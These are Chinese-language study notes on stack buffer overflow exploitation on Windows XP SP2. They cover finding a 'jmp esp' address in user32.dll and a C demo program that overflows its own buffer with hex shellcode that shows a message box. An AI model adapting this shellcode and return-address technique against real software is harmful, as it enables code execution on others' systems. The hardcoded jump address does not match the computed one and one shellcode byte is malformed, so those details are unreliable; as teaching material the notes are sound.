缓冲区溢出学习笔记
一:缓冲区溢出是指当计算机程序向缓冲区内
填充的数据位数超过了缓冲区本身的容量,溢
出的数据覆盖在合法数据上,我们使用精心设
计的shellcode来覆盖合法的数据,从何使我们
的shellcode得到执行。
缓冲区溢出堆栈原理图:
二:需要解决的几个小问题:
2.1缓冲区溢出后,用“jmp esp“指令地址覆
盖原来的函数返回地址,执行jmp esp后,ip指
针便指向缓冲区中我们的shellcode了,到哪去
找“jmp esp“的地址呢?我们想到了windows
的动态连接库user32.dll,我们在user32.dll
中找一个“jmp esp“指令的地址不就行了吗.
2.2将user32.dll载入ue,查找 FF E4,可能有人会问,你怎么知道jmp esp的机器码是FF E4?那好,我们来动手找出它来,编一个asm程序:
==========================
.386
.model flat,stdcall
option casemap:none
include d:\masm32\hd.h
.code
start:
jmp esp
end start
===========================
ml /c /coff /Cp jmp_esp.asm
link /subsystem:windows jmp_esp.obj
我用masm编译的,编译后用od载入,
~嘿嘿,办法超级笨,高手莫笑。
2.3确定FF E4在user32.dll中的偏移地址
2.3.1用ue打开user32.dll查找FF E4,
2.3.2用peditor r载入user32.dll,选择右侧的FLC,在offset处填上我们用ue查出来FF E4在文件中的偏移量,peditor自动计算出FF E4的virtual address,77 d2 74 47。
嘿嘿~,偷懒的办法,你也可以自己动手计算。
2.3.3动手计算:Va=16847h+77D10000h+c00h=77D27447,原理图如下:
三.解决了以上几个小问题后,结合缓冲区溢出堆栈原理图和一个本地溢出的程序,使用vc7.0反汇编调试一下,进一步动手实践。
给出我用来调试的程序:
#include <string.h>
#include <stdio.h>
#include <windows.h>
#define JUMPESP "\x28\x59\xD8\x77"//user32.dll中jmp esp指令的偏移量
unsigned char eip[8] = JUMPESP;
unsigned char sploit[] =
{
"\x60"
"\x8B\xEC"
"\x83\xEC\x54"
"\x33\xC9"
"\xC6\x45\xDB\x75"
"\xC6\x45\xDC\x73"
"\xC6\x45\xDD\x65"
"\xC6\x45\xDE\x72"
"\xC6\x45\xDF\x33"
"\xC6\x45\xE0\x32"
"\xC6\x45\xE7\x2E"
"\xC6\x45\xE\x64"
"\xC6\x45\xE9\x6C"
"\xC6\x45\xEA\x6C"
"\x88\x4D\xEB"
"\x8D\x45\xDB"
"\x50"
"\xB8\x77\x1D\x80\x7C"
"\xFF\xD0"
"\x55"
"\x51"
"\x8B\xEC"
"\x83\xEC\x54"
"\x33\xC9"
"\xC6\x45\xEC\x53"
"\xC6\x45\xED\x75"
"\xC6\x45\xEE\x63"
"\xC6\x45\xEF\x63"
"\xC6\x45\xF0\x65"
"\xC6\x45\xF1\x73"
"\xC6\x45\xF2\x73"
"\x88\x4D\xF3"
"\xC6\x45\xF4\x57"
"\xC6\x45\xF5\x65"
"\xC6\x45\xF6\x20"
"\xC6\x45\xF7\x47"
"\xC6\x45\xF8\x6F"
"\xC6\x45\xF9\x74"
"\xC6\x45\xFA\x20"
"\xC6\x45\xFB\x49"
"\xC6\x45\xFC\x74"
"\xC6\x45\xFD\x21"
"\x88\x4D\xFE"
"\x51"
"\x8D\x45\xEC"
"\x50"
"\x8D\x45\xF4"
"\x50"
"\x51"
"\xB8\xEA\x04\xD5\x77"
"\xFF\xD0"
"\x33\xDB"
"\x53"
"\xB8\xA2\xCA\x81\x7C"
"\xFF\xD0"
"\x8B\xE5"
"\x61"
};
int MyCopy( char* str )
{
char buff1[50];
strcpy(buff1,str);
return 1;
}
int main()
{
HINSTANCE u32=NULL;
u32=LoadLibrary("user32.dll");
if(u32==NULL)
{
printf("cann't load user32.dll");
}
char Buff[1024];
memset(&Buff,0,sizeof(Buff));
for(int i=0;i<56;Buff[i++]=0x90);
strcpy(Buff+56,(char *)eip);//
strcpy(Buff+60,(char *)sploit);//
MyCopy(Buff);
printf("\n successed \n");
return 0;
}
调试步骤:
3.1在vc7.0中按下 F11
3.2 在发生溢出的函数MyCopy那里下个断点(按下F9).
==================================================================
3.3 按F11单步进入。
==================================================================
3.3
注意esp,ebp的变化
3.4 ret后就来到我们的shellcode了。
程序在winxp_sp2下vc7.0编译通过,如果你的操作系统不是winxp_sp2,需要修改shellcode中调用的api的偏移地址。
第一次写东西有点乱,请大家多多包涵,有不对的地方请指教。